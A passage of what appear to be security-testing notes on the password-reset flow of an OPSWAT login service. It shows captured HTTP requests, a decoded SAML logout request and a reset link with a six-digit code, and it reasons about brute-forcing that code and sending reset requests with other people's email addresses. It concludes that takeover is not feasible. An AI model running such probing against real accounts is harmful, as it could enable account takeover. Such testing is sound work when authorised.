User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"email":"mitstudent1102@gmail.com","app":"MyOPSWAT","query":{"app":"appMyOPSWAT0001","SAMLRequest":"nZHRS8MwEMb/lZD3tmlHQUJbHRRZ2aZjHQq+xTbOSJPU3FXtf2/agQORPfiQhzu+3333XTIDjG/s0Q64l++DBCRfujPAfT+ngzPcClC+FFoCx4bXy+2GJyHjvbNoG9vRHyC+DAgA6VBZQ0lV5lS1QSvXb80hrT/YeLXerWBFyYN04CU59YTXAQyyMoDCoG+xJA1YEsSLQ8x4EnMWP1FS+p2VEThTr4g98ChSbWh7+BQYNlZH3ZzvWvR97t92vN/Vj8sDYyymZC8FTCQtMp+Az46O3FqnBV7OM3V8iJdZyqVBhSMt/twgi86zTz53Hq7Kf/j004EAvR0ttHBDMzzLRXpz1EJ1Z6vT+GIqfn1v8Q0=","RelayState":"id-deKjcT5Sv0y8KPHsH|1739442061|7a5f377c9be70627979b1585f14ee07cb3b8b107"}}

The decoded SAML request:

<ns0:LogoutRequest xmlns:ns0="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ns1="urn:oasis:names:tc:SAML:2.0:assertion" ID="id-deKjcT5Sv0y8KPHsH" Version="2.0" IssueInstant="2025-02-13T10:21:01Z" Destination="https://id.opswat.com/logout?app=appMyOPSWAT0001" Reason="">
    <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        https://id.opswat.com
    </ns1:Issuer>
    <ns1:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
        mitstudent1102@gmail.com
    </ns1:NameID>
</ns0:LogoutRequest>

I received a reset password email to the marucube35@gmail.com address, which has a link:

https://id.opswat.com/changePassword?
code=723974&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001

The value of the email parameter is the encrypted version of the marucube35@gmail, which is in the email field of the request body. So, the email in SAML Request is irrelevant.

Question: Can I receive the reset password email for another user?

Answer: No.

Because we can not forge the email parameter even though the code is feasible for brute-forcing.

I can remove the SAMLRequest and the RelayState parameters for receiving the same reset password email:

POST /reset HTTP/2
Host: id-api.opswat.com
Content-Length: 83
Content-Type: application/json
 
{"email":"quan.m.le@opswat.com","app":"MyOPSWAT","query":{"app":"appMyOPSWAT0001"}}

This behaviour indicates that those removed parameters has no impact on the functionality.

The request in email leads to the following page:

Resources